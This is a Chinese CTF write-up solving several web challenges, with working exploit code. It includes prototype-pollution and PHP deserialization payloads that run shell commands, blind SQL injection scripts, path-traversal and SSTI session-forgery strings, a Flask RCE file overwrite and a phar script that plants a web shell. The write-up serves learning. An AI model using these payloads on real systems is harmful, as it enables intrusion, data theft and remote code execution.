timestamp = typeof timestamp === "number" ? timestamp : Date.now();
: 如果传入的 timestamp
是数字,则保持不变;否则,使用当前时间戳。
// Remove test data from before the movie was released
: 这是一个注释,表示要删除电影发布前的测试数据。
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();: 从配置中获取最小公开时间(默认为 DEFAULT_CONFIG.min_public_time),并将其转换为时间戳。
timestamp = Math.max(timestamp, minTimestamp);: 将传入的 timestamp与最小时间戳进行比较,取两者中的较大值。这样做是为了确保查询的起始时间不会早于配置中指定的最小公开时间。
const data = await sql.all(
SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?, [timestamp]).catch(e => { throw e });
: 使用 await
关键字等待异步 SQL 查询完成,并捕获可能的错误。这个查询从 wishes
表中选取所有在给定时间戳之后的时间记录。
return data;
: 返回查询到的数据。
根据这段代码 我们可以知道timestamp一定>=minTimestamp
所以是怎么定义的呢
let minTimestamp = new Date(CONFIG.min_public_time||DEFAULT_CONFIG.min_public_time).getTime();
是根据CONFIG和DEFAULT_CONFIG来定义的
所以我们要到CONFIG和DEFAULT_CONFIG中去看这是怎么个事 看看min_public_time是啥
CONFIG:
module .exports = { app_name : "OtenkiGirl" , default_lang : "ja" , }
DEFAULT_CONFIG:
module .exports = { app_name : "OtenkiGirl" , default_lang : "ja" , min_public_time : "2019-07-09" , server_port : 9960 , webpack_dev_port : 9970 }
源代码:CONFIG.min_public_time
查看根目录下的config.js
和config.default.js
后发现config.js
并没有配置min_public_time
,因此getInfo
的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
所以查看提交函数 在routes这个文件夹下
const Router = require ("koa-router" );const router = new Router ();const SQL = require ("./sql" );const sql = new SQL ("wishes" );const Base58 = require ("base-58" );const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;const rndText = (length ) => { return Array .from ({ length }, () => ALPHABET [Math .floor (Math .random () * ALPHABET .length )]).join ('' ); } const timeText = (timestamp ) => { timestamp = (typeof timestamp === "number" ? timestamp : Date .now ()).toString (); let text1 = timestamp.substring (0 , timestamp.length / 2 ); let text2 = timestamp.substring (timestamp.length / 2 ) let text = "" ; for (let i = 0 ; i < text1.length ; i++) text += text1[i] + text2[text2.length - 1 - i]; if (text2.length > text1.length ) text += text2[0 ]; return Base58 .encode (rndText (3 ) + Buffer .from (text)); } const rndID = (length, timestamp ) => { const t = timeText (timestamp); if (length < t.length ) return t.substring (0 , length); else return t + rndText (length - t.length ); } async function insert2db (data ) { let date = String (data["date" ]), place = String (data["place" ]), contact = String (data["contact" ]), reason = String (data["reason" ]); const timestamp = Date .now (); const wishid = rndID (24 , timestamp); await sql.run (`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)` , [wishid, date, place, contact, reason, timestamp]).catch (e => { throw e }); return { wishid, date, place, contact, reason, timestamp } } const merge = (dst, src ) => { if (typeof dst !== "object" || typeof src !== "object" ) return dst; for (let key in src) { if (key in dst && key in src) { dst[key] = merge (dst[key], src[key]); } else { dst[key] = src[key]; } } return dst; } router.post ("/submit" , async (ctx) => { if (ctx.header ["content-type" ] !== "application/json" ) return ctx.body = { status : "error" , msg : "Content-Type must be application/json" } const jsonText = ctx.request .rawBody || "{}" try { const data = JSON .parse (jsonText); if (typeof data["contact" ] !== "string" || typeof data["reason" ] !== "string" ) return ctx.body = { status : "error" , msg : "Invalid parameter" } if (data["contact" ].length <= 0 || data["reason" ].length <= 0 ) return ctx.body = { status : "error" , msg : "Parameters contact and reason cannot be empty" } const DEFAULT = { date : "unknown" , place : "unknown" } const result = await insert2db (merge (DEFAULT , data)); ctx.body = { status : "success" , data : result }; } catch (e) { console .error (e); ctx.body = { status : "error" , msg : "Internal Server Error" } } }) module .exports = router;
发现merge函数
const merge = (dst, src ) => { if (typeof dst !== "object" || typeof src !== "object" ) return dst; for (let key in src) { if (key in dst && key in src) { dst[key] = merge (dst[key], src[key]); } else { dst[key] = src[key]; } } return dst; }
其实找找能够控制数组(对象)的“键名”的操作即可
存在赋值操作dst[key] = src[key]
即存在javascript原型链污染
因为默认时间是2019-07-09 所以我们只需要改成比这个小的时间即可绕过限制
注入data['__proto__']['min_public_time']
的值即可
提交信息必须为 JSON 格式,contact
和reason
字段是必须的
payload:
{“date”:”a”,”place”:”b”,”contact”:”c”,”reason”:”d”,”__proto__
“: { “min_public_time”: “1001-01-01” }}
再请求info
最后回显后找到flag
海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{546fa7b1-5caa-4d91-b604-217aa0a746ac}です
flag{546fa7b1-5caa-4d91-b604-217aa0a746ac}
终于完了 真的难 其实对这个javascript原型链污染还是有点半懵半懵的 主要是在这些代码是怎么串起来的 为什么向submit的merge传参后就会给到info里,并造成污染 代码审计啊代码审计 思路是清楚了 javascript原型链污染是个怎么个事也是知道了 就是下次做题的时候不一定做的对
week4 逃 <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
反序列化字符串逃逸
bad 替换为 good 字符增加一位
序列化代码构造:
<?php class GetFlag { public $key ; public $cmd = "ls /" ; } $a = new GetFlag ();echo serialize ($a );
结果:
O:7:”GetFlag”:2:{s:3:”key”;N;s:3:”cmd”;s:4:”ls /“;}
需要逃逸的就是s:3:”cmd”;s:4:”ls /“;} 然后为了更好的闭合我一般都会加上”; 这个符号 也就是需要逃逸”;s:3:”cmd”;s:4:”ls /“;} 总共24个字符 这样我们只需要写24个bad就行了
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:4:”ls /“;}
所以
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
flag{6431fc70-1a27-4717-a8a6-8341374a1b06}
More Fast <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } } $a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" );Fatal error: Uncaught Exception : Nope in /var /www/html/index.php:55 Stack trace:
POP链:__destruct()->__toString()->__get($var)->__invoke()->Web
所以
<?php class Start{ public $errMsg; } class Pwn{ public $obj; } class Reverse{ public $func; } class Web{ public $func = 'system'; public $var = 'ls /'; } class Crypto{ public $obj; } class Misc{ } $a = new Start(); $a->errMsg = new Crypto(); $a->errMsg->obj = new Reverse(); $a->errMsg->obj->func = new Pwn(); $a->errMsg->obj->func->obj = new Web(); echo serialize($a);
结果:
O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /“;}}}}}
上传 仍报错
这是因为代码里面扔了个异常
这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发
所以需要Fast destruct
1.修改序列化数字元素个数
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}} 改成 O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
O:5:”Start”:2:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}
flag{aa977e39-9133-4995-9ba1-a75aae77b57f}
2.去掉序列化尾部 }
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}} 改成 O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}
flag{aa977e39-9133-4995-9ba1-a75aae77b57f}
midsql
随便传一下
在url中发现id应该是注入点
被过滤
union没过滤
select没过滤
2‘也没有
说明过滤了空格
没问题 无回显
用/**/代替空格
使用时间盲注来
脚本1:
import requests res = '' last = ' ' headers = { 'Host' : '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/' , 'Cache-Control' : 'max-age=0' , 'Upgrade-Insecure-Requests' : '1' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' , 'Referer' : 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/' , 'Accept-Encoding' : 'gzip, deflate' , 'Accept-Language' : 'zh-CN,zh;q=0.9' } for i in range (1 , 1000 ): for j in range (127 , 31 , -1 ): url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id=' payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i} ,1))>{j} ),sleep(4),0)' url = url + payload try : response = requests.get(url=url, timeout=4 ) except Exception as e: last = res res += chr (j + 1 ) break print ('[*] ' + res)
脚本2:
import requests,re,copyclass Gadget (): def __enter__ (self ): return self def __exit__ (self, exc_type, exc_val, exc_tb ): return def str2hex (self,string:str ): result = '' for c in string: result += hex (ord (c)) return '0x' +result.replace('0x' ,'' ) def get_char_ascii (self,string:str ,index ): method1 = f'(Ord(right(left({string} ,{index} ),1)))' method2 = f'(Ord(substr({string} /**/from/**/{index} /**/for/**/1)))' method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))' return method2 def table_name_in_db (self ): s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))' s3 = '(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In(dAtabase())))' return s3 def table_name_in_db2 (self, schema_name ): s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))' s3 = f"(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In('{schema_name} ')))" return s3 def db_names (self ): s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))' s3 = f"(sElect(group_coNcat(sChema_name))from(information_schema.schemata))" return s3 def column_name_in_table (self,table_name:str ): s1 = f"(select(group_concat(column_name))from(infOrmation_schema.columns)where(table_name)in('{table_name} '))" s2 = f"(sElect(group_cOncat(Column_name))frOm(infOrmation_schema.cOlumns)wHere(table_name)In({self.str2hex(table_name)} ))" return s2 def column_value_in_table (self,table_name:str ,column_name:str ): s1 = f"(sElect(grOup_cOncat({column_name} ))frOm({table_name} ))" return s1 def get_len (self,function,*args, **kwargs ): s1 = f'(lenGth({function(*args, **kwargs)} ))' return s1 def ascii_equal (self,asc,i ): s1 = f"(({asc} )in({i} ))" return s1 def len_equal (self,len ,i ): s1 = f"(({len } )in({i} ))" return s1 def ascii_greater (self,asc,i ): s1 = f"(leAst({asc} ,{i} )in({i} ))" return s1 def judge (self,cond ): s2 = f"Elt(({cond} )+1,sLeep(1),0)" s1 = f"(iF(({cond} ),sLeep(1),0))" return s1 class Injector (): def __init__ (self,url,method,inject_param,data=None ,debug=True ): self.url = url self.method = method self.data = data self.inject_param = inject_param self.debug = debug self.gadget = Gadget() def condition (self,res ): if res.elapsed.total_seconds()>1 : return True return False def handle_value (self,function, *args, **kwargs ): result = '' data = copy.deepcopy(self.data) for _time in range (200 ): print ("time:%d" % (_time + 1 )) left = 32 right = 128 updated = False while (right > left): mid = (left + right) // 2 with self.gadget as g: data[self.inject_param] = self.data[self.inject_param].replace('XXXXX' ,g.judge(g.ascii_equal(g.get_char_ascii(function(*args, **kwargs),_time+1 ),mid))) res = None if self.method == 'get' : res = requests.get(self.url,data) if self.debug: print (res.request.url) else : res = requests.post(self.url,data) if self.debug: print (res.text) if (self.condition(res)): result+=chr (mid) print (result) updated = True break else : with self.gadget as g: data[self.inject_param] = self.data[self.inject_param].replace('XXXXX' ,g.judge(g.ascii_greater(g.get_char_ascii(function(*args, **kwargs),_time+1 ),mid))) res = None if self.method == 'get' : res = requests.get(self.url, data) else : res = requests.post(self.url, data) if (self.condition(res)): left = mid else : right = mid if not updated : break def handle_len (self,function, *args, **kwargs ): data = copy.deepcopy(self.data) for _time in range (1 ,200 ): print ("time:%d" % (_time)) with self.gadget as g: data[self.inject_param] = self.data[self.inject_param].replace('XXXXX' ,g.judge(g.len_equal(g.get_len(function,*args, **kwargs),_time))) res = None if self.method == 'get' : res = requests.get(self.url, data) if self.debug: print (res.request.url) print (res.text) else : res = requests.post(self.url, data) if self.debug: print (res.text) if (self.condition(res)): print (_time) break ''' Note: Use time-based injection by default. Todo: union injection bool injection ''' if __name__ == '__main__' : g = Gadget() result = '' url = 'http://7e6750f1-d557-49a6-bea9-ecfe9513b376.node4.buuoj.cn:81/' inject_param = 'id' data = {'id' :"1/**/Or/**/XXXXX#" } inj = Injector(url,method='get' ,inject_param=inject_param,data=data) inj.handle_value(g.column_value_in_table,'ctf.items' ,'name' )
flag{9197eb45-96a5-45b5-807d-ac6db0c1163d}
第二个脚本报错:未解析的引用 ‘Injector’ 懵了 有这个类啊
找到问题了 是格式错了
又说我 未使用的 import 语句 ‘re’
还有’Gadget’ object has no attribute ‘column_value_in_table’
先这样吧
flask disk
list files:
upload files:
可以上传个什么东西
admin manage:
可以上传Pin码
要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了
所以:
from flask import Flask,requestimport osapp = Flask(__name__) @app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 ,debug=True )
上传这个
直接命令执行
没回显
懵了
试了%20 不行
什么鬼
文件名字问题 要把原来的app.py覆盖 要名字一样
InjectMe
发现图片可以点击
110.jpg中有源码
将../替代为空
且在download路由下
猜到运行文件,以及后面审计源码
..././..././..././etc/passwd ..././..././..././app/app.py ..././..././..././etc/config.py
/download?file=/app/app.py
拿到源码
import osimport refrom flask import Flask, render_template, request, abort, send_file, session, render_template_stringfrom config import secret_keyapp = Flask(__name__) app.secret_key = secret_key @app.route('/' ) def hello_world (): return render_template('index.html' ) @app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 ) @app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 ) @app.errorhandler(404 ) def page_not_find (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 )
明显重点在backdoor函数上
download?file=/app/config.py
拿到secret_key
secret_key = “y0u_n3ver_k0nw_s3cret_key_1s_newst4r”
这里又需要让session的值可控,session伪造无疑了
然后禁用了一大堆ssti函数,肯定是要打ssti了
所以
用 flask_session_cookie_manager3.py
#解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
#加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”
{'user':'{%print(((g[\'pop\'][\'_\'*2~\'g\'\'lobals\'~\'_\'*2][\'_\'*2~\'b\'\'uiltins\'~\'_\'*2][\'_\'*2~\'import\'~\'_\'*2](\'OS\'|lower)[\'p\'\'open\'](\'CAT /y*\'|lower))[\'read\']()))%}'}
吐了
伪造后的session:.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50
PharOne
初始界面有个文件上传功能
提示class.php
访问
一眼phar反序列化
<?php class Flag { public $cmd ; public function __construct ( ) { $this ->cmd = "echo '<?=system(\$_POST[1]);?>'>/var/www/html/1.php" ; } } $a = new Flag ();$phar = new Phar ('A.phar' );$phar ->startBuffering ();$phar ->addFromString ('test.txt' ,'test' ); $phar ->setStub ('<?php __HALT_COMPILER(); ? >' );$phar ->setMetadata ($a );$phar ->stopBuffering ();?>
题目对__HALT_COMPILER()进行了过滤,可以使用gzip等压缩进行绕过
直接
<?php class Flag { public $cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php" ; } @unlink ("1.phar" ); $phar = new Phar ("1.phar" ); $phar ->startBuffering (); $phar ->setStub ("__HALT_COMPILER(); ?>" ); $o = new Flag (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); system ("gzip 1.phar" ); rename ("1.phar.gz" ,"1.jpg" );
上传1.jpg文件
在class.php触发phar反序列化
rce拿到flag
整个题理解还是差不多 但是对phar反序列化还是存在一些问题
OtenkiBoy 也是javascript原型链污染
是week3中Otenkgirl的升级版
依旧是两个主要的文件,info.js,submit.js,但这次的geiinfo()函数没有那么简单能够利用了,config文件和default_config 文件中都有min_public_time。
info.js中仍有:
明显minTimestamp与函数createDate有关
const createDate = (str, opts ) => { const CopiedDefaultOptions = copyJSON (DEFAULT_CREATE_DATE_OPTIONS ) if (typeof opts === "undefined" ) opts = CopiedDefaultOptions if (typeof opts !== "object" ) opts = { ...CopiedDefaultOptions , UTC : Boolean (opts) }; opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions .UTC : Boolean (opts.UTC ); opts.format = opts.format || CopiedDefaultOptions .format ; if (!Array .isArray (opts.format )) opts.format = [opts.format ] opts.format = opts.format .filter (f => typeof f === "string" ) .filter (f => { if (/yy|yyyy|MM|dd|HH|mm|ss|fff/ .test (f) === false ) { console .warn (`Invalid format "${f} ".` , `At least one format specifier is required.` ); return false ; } if (`|${f} |` .replace (/yyyy/g , "yy" ).split (/yy|MM|dd|HH|mm|ss|fff/ ).includes ("" )) { console .warn (`Invalid format "${f} ".` , `Delimeters are required between format specifiers.` ); return false ; } if (f.includes ("yyyy" ) && f.replace (/yyyy/g , "" ).includes ("yy" )) { console .warn (`Invalid format "${f} ".` , `"yyyy" and "yy" cannot be used together.` ); return false ; } return true ; }) opts.baseDate = new Date (opts.baseDate || Date .now ()); if (typeof str === "number" ) { return new Date (str); } else if (typeof str === "string" ) { if (/^\-?\d+$/ .test (str.trim ())) return createDate (Number (str.trim ())); const isLeapYear = year => (year % 4 == 0 && year % 100 != 0 ) || (year % 400 == 0 ) const MonthDay = (mon, year ) => [31 , isLeapYear (year) ? 29 : 28 , 31 , 30 , 31 , 30 , 31 , 31 , 30 , 31 , 30 , 31 ][mon - 1 ] const pad = (n, len ) => String (n).padStart (len, "0" ) const getYMD = (date ) => { let regres = /^(\d+) *(\-|\/) *(\d+) *(\-|\/) *(\d+)$/ .exec (date.trim ()) if (regres === null ) return {} const [n1, n2, n3] = [regres[1 ], regres[3 ], regres[5 ]].map (Number ); if (1 <= n2 && n2 <= 12 && 1 <= n3 && n3 <= MonthDay (n2, n1)) { let yyyy = pad (n1, 1 ), MM = pad (n2, 2 ), dd = pad (n3, 2 ); return { yyyy, MM , dd } } else if (1 <= n1 && n1 <= 12 && 1 <= n2 && n2 <= MonthDay (n1, n3)) { let yyyy = pad (n3, 1 ), MM = pad (n1, 2 ), dd = pad (n2, 2 ); return { yyyy, MM , dd } } else return {} } const getHMS = (time ) => { let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/ .exec (time.trim ()) if (regres === null ) return {} let [n1, n2, n3, n4] = [regres[1 ], regres[2 ], regres[4 ], regres[6 ]].map (t => typeof t === "undefined" ? undefined : Number (t)); if (typeof n3 === "undefined" ) n3 = 0 ; if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59 ) { let HH = pad (n1, 2 ), mm = pad (n2, 2 ), ss = pad (n3, 2 ), fff = typeof n4 === "undefined" ? undefined : pad (n4, 3 ).substring (0 , 3 ); const o = { HH , mm, ss } if (typeof fff !== "undefined" ) o.fff = fff; return o; } else return {} } const escapeRegExp = (str ) => str.replace (/[.*+?^${}()|\[\]\\]/g , '\\$&' ); if (Array .isArray (opts.format ) && opts.format .length > 0 ) { for (let fmt of opts.format ) { const regExpr_specifier = escapeRegExp(fmt) .replace (/yyyy/ , "(y{4})" ).replace (/yy/ , "(yy)" ) .replace (/MM/ , "(MM)" ).replace (/dd/ , "(dd)" ) .replace (/HH/ , "(HH)" ).replace (/mm/ , "(mm)" ).replace (/ss/ , "(ss)" ) .replace (/fff/ , "(fff)" ) let sortTable = new RegExp (`^${regExpr_specifier} $` ).exec (fmt).slice (1 ) const regExpr = escapeRegExp(fmt) .replace (/yyyy/ , "(-?\\d+)" ).replace (/yy/ , "(-?\\d+)" ) .replace (/MM/ , "(\\d{1,2})" ).replace (/dd/ , "(\\d{1,2})" ) .replace (/HH/ , "(\\d{1,2})" ).replace (/mm/ , "(\\d{1,2})" ).replace (/ss/ , "(\\d{1,2})" ) .replace (/fff/ , "(\\d{1,3})" ) let regres = new RegExp (`^${regExpr} $` ).exec (str.trim ()) if (regres === null ) continue const dateObj = opts.baseDate const _UTC = opts.UTC ? "UTC" : "" let argTable = { "yyyy" : dateObj[`get${_UTC} FullYear` ](), "MM" : dateObj[`get${_UTC} Month` ]() + 1 , "dd" : dateObj[`get${_UTC} Date` ](), "HH" : dateObj[`get${_UTC} Hours` ](), "mm" : dateObj[`get${_UTC} Minutes` ](), "ss" : dateObj[`get${_UTC} Seconds` ](), "fff" : dateObj[`get${_UTC} Milliseconds` ] ? dateObj[`get${_UTC} Milliseconds` ]() : undefined } sortTable.forEach ((f, i ) => { if (f == "yy" ) { let year = Number (regres[i + 1 ]) year = year < 100 ? (1900 + year) : year; return argTable["yyyy" ] = year; } argTable[f] = Number (regres[i + 1 ]) }) let { yyyy, MM , dd, HH , mm, ss, fff } = argTable; [yyyy, MM , dd, HH , mm, ss, fff] = [pad (yyyy, 1 ), pad (MM , 2 ), pad (dd, 2 ), pad (HH , 2 ), pad (mm, 2 ), pad (ss, 2 ), typeof fff === "undefined" ? undefined : pad (fff, 3 )]; const d = new Date (`${yyyy} -${MM} -${dd} T${HH} :${mm} :${ss} ` + (typeof argTable.fff === "number" ? `.${fff} ` : "" ) + (opts.UTC ? "Z" : "" )); if (Number .isSafeInteger (d.getTime ())) return d; else continue ; } } let date_time, delimiter = " " ; if (str.includes ("T" )) { let delimiter_pos = str.indexOf ("T" ); delimiter = "T" ; date_time = [str.substring (0 , delimiter_pos), str.substring (delimiter_pos + 1 )]; } else { let subdeli_pos1 = str.indexOf (":" ); let subdeli_pos2 = str.indexOf ("-" ); if (subdeli_pos2 === -1 ) subdeli_pos2 = str.indexOf ("/" ); if (subdeli_pos1 === -1 || subdeli_pos2 === -1 ) date_time = [str]; else { let subdeli_pos = Math .max (subdeli_pos1, subdeli_pos2); let meetNumber = false ; while (--subdeli_pos) { if (/\d/ .test (str[subdeli_pos])) meetNumber = true ; if (meetNumber && str[subdeli_pos].trim () === "" ) { delimiter = str[subdeli_pos]; date_time = [str.substring (0 , subdeli_pos), str.substring (subdeli_pos)]; break ; } } if (!meetNumber) date_time = [str]; } } if (date_time.length === 1 ) { const { yyyy, MM , dd } = getYMD (date_time[0 ]) if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" ) { return new Date (`${yyyy} -${MM} -${dd} T00:00:00` + (opts.UTC ? "Z" : "" )); } else return new Date ("Invalid Date" ); } else { const s1 = date_time[0 ].trim (), s2 = date_time[1 ].trim (); let date_str, time_str, UTC = opts.UTC ; if (delimiter === "T" ) { if (/Z$/ .test (s1)) return new Date ("Invalid Date" ); UTC = /Z$/ .test (s2); date_str = s1, time_str = s2.slice (-1 ) === "Z" ? s2.slice (0 , -1 ) : s2; } else { if (/Z$/ .test (s1) || /Z$/ .test (s2)) return new Date ("Invalid Date" ); if (s1.includes (":" )) date_str = s2, time_str = s1; else date_str = s1, time_str = s2; } const { yyyy, MM , dd } = getYMD (date_str) const { HH , mm, ss, fff } = getHMS (time_str) if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" && typeof HH === "string" && typeof mm === "string" && typeof ss === "string" ) { return new Date (`${yyyy} -${MM} -${dd} T${HH} :${mm} :${ss} ` + (typeof fff === "string" ? `.${fff} ` : "" ) + (UTC ? "Z" : "" )); } else return new Date ("Invalid Date" ); } } else return new Date (); }
可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。
继续往下看,因为我们传入的opts参数中没有format属性,因此下面代码很明显是可以原型链污染控制opts.format的值的
opts.format = opts.format.filter(f => typeof f === “string”)
而对于baseDate,由于DEFAULT_CREATE_DATE_OPTIONS中本身不含baseDate,可直接触发该原型链
opts.baseDate = new Date(opts.baseDate || Date.now());
const createDate = (str, opts ) => { const CopiedDefaultOptions = copyJSON (DEFAULT_CREATE_DATE_OPTIONS ) if (typeof opts === "undefined" ) opts = CopiedDefaultOptions if (typeof opts !== "object" ) opts = { ...CopiedDefaultOptions , UTC : Boolean (opts) }; opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions .UTC : Boolean (opts.UTC ); opts.format = opts.format || CopiedDefaultOptions .format ; if (!Array .isArray (opts.format )) opts.format = [opts.format ] opts.format = opts.format .filter (f => typeof f === "string" ) .filter (f => { if (/yy|yyyy|MM|dd|HH|mm|ss|fff/ .test (f) === false ) { console .warn (`Invalid format "${f} ".` , `At least one format specifier is required.` ); return false ; } if (`|${f} |` .replace (/yyyy/g , "yy" ).split (/yy|MM|dd|HH|mm|ss|fff/ ).includes ("" )) { console .warn (`Invalid format "${f} ".` , `Delimeters are required between format specifiers.` ); return false ; } if (f.includes ("yyyy" ) && f.replace (/yyyy/g , "" ).includes ("yy" )) { console .warn (`Invalid format "${f} ".` , `"yyyy" and "yy" cannot be used together.` ); return false ; } return true ; }) opts.baseDate = new Date (opts.baseDate || Date .now ());
